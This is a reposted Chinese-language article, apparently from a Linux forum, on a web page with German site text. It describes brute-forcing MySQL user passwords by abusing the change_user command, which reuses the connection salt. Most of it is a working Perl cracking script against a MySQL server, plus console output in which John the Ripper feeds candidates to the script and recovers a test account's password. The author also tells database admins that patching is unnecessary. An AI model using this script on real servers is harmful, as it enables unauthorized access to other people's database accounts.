Heim  >  Artikel  >  Datenbank  >  破解MySQL本地和远程密码

破解MySQL本地和远程密码

WBOY
WBOYOriginal
2016-06-07 15:13:521120Durchsuche

欢迎进入Linux社区论坛,与200万技术人员互动交流 >>进入 快速的 MySQL 本地和远程密码破解!首先需要对数据库维护人员说明的是,不必紧张,你无需修补这个问题,看起来其实是个小错误而已。 我找到一个方法可非常高效的破解 MySQL 的用户密码,包括本地用户

欢迎进入Linux社区论坛,与200万技术人员互动交流 >>进入

  快速的 MySQL 本地和远程密码破解!首先需要对数据库维护人员说明的是,不必紧张,你无需修补这个问题,看起来其实是个小错误而已。

  我找到一个方法可非常高效的破解 MySQL 的用户密码,包括本地用户和通过网络方式访问的用户密码。在我的测试中,通过网络方式的方法可每秒钟测试 5000 个密码。

  方法如下:

  攻击者使用一个无特权帐号登录到 MySQL 服务器,mysql 有一个名为 change_user 的命令,该命令可用于在 mysql 会话中修改用户时的名字建议。因为这个命令执行非常快,因此可以很快速的用来破解 mysql 密码,而不是每次都重新连接到 mysql 服务器。

  是什么导致非常慢?

  因为使用 change_user 命令不会更改 SALT(这是一个弱点),而常规破解密码的方法每次连接时服务器都发送不同的 SALT。

  下面是一个 Perl 脚本使用了 John the Ripper 的方法来生成密码:

  测试的用户是 crackme 密码为 pass,只需数秒就可破解。

  (大约 20 秒钟可测试 10 万密码)

  测试脚本如下:

  use Net::MySQL;

  $|=1;

  my $mysql = Net::MySQL->new(

  hostname => '192.168.2.3',

  database => 'test',

  user     => "user",

  password => "secret",

  debug => 0,

  );

  $crackuser = "crackme";

  while() {

  chomp;

  $currentpass = $_;

  $vv = join "\0",

  $crackuser,

  "\x14".

  Net::MySQL::Password->scramble(

  $currentpass, $mysql->{salt}, $mysql->{client_capabilities}

  ) . "\0";

  if ($mysql->_execute_command("\x11", $vv) ne undef) {

  print "[*] Cracked! --> $currentpass\n";

  exit;

  }

  }

  下面是我这台机器上的执行结果:

  C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo

  hn --incremental --stdout=5 | perl mysqlcrack.pl

  Warning: MaxLen = 8 is too large for the current hash type, reduced to 5

  words: 16382  time: 0:00:00:02  w/s: 6262  current: citcH

  words: 24573  time: 0:00:00:04  w/s: 4916  current: rap

  words: 40956  time: 0:00:00:07  w/s: 5498  current: matc3

  words: 49147  time: 0:00:00:09  w/s: 5030  current: 4429

  words: 65530  time: 0:00:00:12  w/s: 5354  current: ch141

  words: 73721  time: 0:00:00:14  w/s: 5021  current: v3n

  words: 90104  time: 0:00:00:17  w/s: 5277  current: pun2

  [*] Cracked! --> pass

  words: 98295  time: 0:00:00:18  w/s: 5434  current: 43gs

  Session aborted

  via grok

破解MySQL本地和远程密码

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn